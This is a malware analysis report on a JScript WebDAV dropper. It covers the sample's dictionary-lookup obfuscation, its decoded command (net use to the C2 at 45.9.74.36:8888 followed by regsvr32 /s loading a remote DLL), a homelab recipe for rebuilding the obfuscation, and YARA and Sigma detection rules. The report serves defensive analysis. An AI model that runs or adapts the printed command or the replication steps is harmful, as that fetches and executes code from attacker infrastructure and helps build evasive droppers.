unclassified-js-webdav-dropper: b612dd70 — 36-entry noise-key dictionary variant, 45.9.74.36:8888 C2

Executive Summary: JScript dropper using a 36-entry noise-key dictionary lookup obfuscation to assemble a WScript.Shell.Run() command at runtime. Decoded payload mounts a WebDAV share at 45.9.74.36:8888 and silently registers a remote DLL via regsvr32 /s. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Twenty-ninth confirmed sibling in the WebDAV dropper family.

What It Is

• File: 23783296672487413969.js ^[file.txt]
• Size: 6,000 bytes ^[file.txt]
• Format: ASCII text with CRLF line terminators, very long lines (4,564 chars) ^[file.txt]
• Language: JScript (Windows Script Host) ^[strings.txt:1]
• Obfuscation: Dictionary character-lookup — 36 entries mapping random noise keys (8–20 lowercase characters, no semantic content) to single ASCII characters. Object name sqsecyprtszemhrr. ^[strings.txt:1–36]
• Anti-analysis: None — no debugger checks, VM detection, time-bombs, or connectivity gates. ^[strings.txt]
• CAPE: Skipped — not a supported binary class. ^[dynamic-analysis.md]

How It Works

1. Dictionary build. An object sqsecyprtszemhrr is populated with 36 key/value pairs. Keys are random noise strings (xvmjohsqlbpehcle, rkixfogphwuf, mlumecnwzsq, etc.); values are single characters covering [a-z0-9]. ^[strings.txt:1–36]
2. Decoy trigger. try{xdmsq();}catch(kemexhi){...} forces the catch block — the function name is undefined. ^[strings.txt:37]
3. String assembly. Inside the catch block, Function('return this')() reaches the global WScript object. Dictionary lookups assemble WScript.Shell and its .Run() method. ^[strings.txt:37]
4. Command execution. The assembled command is:

   cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\20371580615655.dll
   

   This mounts the WebDAV share and silently loads the remote DLL. ^[deobfuscation.md]
5. No persistence. One-shot execution — no registry writes, scheduled tasks, or startup folders.

C2 Infrastructure

Interesting Tidbits

• Noise-key style. Eighth observed 36-entry noise-key variant in the family, following d0124d62, d90baa30, a435a37b, aa8ff8b9, cb5d302f, fa7e181d, and ade6cf68. The key naming convention (random lowercase noise, no semantic content) is consistent across this cluster. ^[strings.txt:1–36]
• Same infrastructure. C2 IP 45.9.74.36:8888 is shared with at least twelve prior siblings (ffd5d894, e9e82d14, f170f5a9, fa7e181d, cb5d302f, d0124d62, d90baa30, dac5e0ee, e11665cf, a435a37b, aa8ff8b9, ade6cf68). The payload filename 20371580615655.dll is new but follows the same numeric-naming pattern. ^[deobfuscation.md]
• No PowerShell wrapper. Unlike the cloudslimit.com cluster (fb353965, df42ecf8, a3419c27a, aac0198b5), this sample does not wrap execution in a PowerShell -EncodedCommand cradle. ^[deobfuscation.md]
• No wordpad decoy. The pure-batch variants (ffd5d894, e9e82d14, f170f5a9, etc.) launch wordpad as a decoy; dictionary variants against 45.9.74.36:8888 omit it. ^[deobfuscation.md]
• Dictionary object name. sqsecyprtszemhrr — 15-character random noise, consistent with the noise-key naming style. ^[strings.txt:1]

How To Mess With It (Homelab Replication)

1. Build a 36-entry noise-key dictionary. Pick 36 random lowercase strings (8–20 chars) and map them to [a-z0-9].
2. Encode a command. Split cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\test.dll into dictionary lookups.
3. Wrap in decoy. Use try{undefinedFunc();}catch(e){...} to force execution.
4. Test against EDR. Static string detection will see only noise keys; behavioral detection on wscript.exe → cmd.exe → regsvr32.exe is the reliable kill chain.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_NoiseKey_Dictionary_b612dd70 : script dropper {
    meta:
        description = "JScript WebDAV dropper with noise-key dictionary lookup obfuscation (b612dd70 variant)"
        author = "PacketPursuit"
        date = "2026-06-29"
        hash = "b612dd701448df367c9c9a6e57894822e3c227af915b93d0eda196118af620ad"
    strings:
        $dict_init = /[a-z]{10,20}=\[\];[a-z]{10,20}\['/ ascii
        $dav = "DavWWWRoot" nocase ascii
        $regsvr = "regsvr32" nocase ascii
        $func_return = "return this" ascii
        $net_use = "net use" nocase ascii
        $sqsec = "sqsecyprtszemhrr" ascii
    condition:
        filesize < 10KB and
        #dict_init >= 1 and
        $dav and
        $regsvr and
        $func_return and
        $net_use
}

Sigma Rule

title: JScript WebDAV Dropper Execution — b612dd70 Cluster
status: experimental
description: Detects wscript.exe spawning cmd.exe that executes net use and regsvr32 with a DavWWWRoot UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\\wscript.exe'
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
            - 'regsvr32'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This JScript sample opens via wscript.exe, builds a 36-entry character lookup dictionary inside a try/catch block using random noise string keys, assembles a WScript.Shell.Run() command via the Function constructor, and spawns cmd.exe to execute net use against 45.9.74.36:8888 WebDAV share followed by regsvr32 /s loading a numeric-named DLL from the UNC path. No sandbox gate, no decoy application, no persistence mechanism — a one-shot, minimal-opsec dropper targeting WebDAV-based DLL sideloading.

Detection Signatures

References

• Artifact ID: a1e33656-475b-4547-8f20-ca59b102a1ed ^[metadata.json]
• OpenCTI labels: js, malware-bazaar ^[metadata.json]
• Related wiki pages: unclassified-js-webdav-dropper, js-dictionary-char-lookup-obfuscation, webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file(1) output
• strings.txt — raw strings extracted by strings(1)
• ssdeep.txt — ssdeep hash
• tlsh.txt — TLSH hash
• metadata.json — OpenCTI artifact metadata
• triage.json — triage pipeline metadata
• dynamic-analysis.md — CAPE sandbox status
• deobfuscation.md — manual dictionary decode and IOC extraction
• Source: <sample b612dd701448.bin>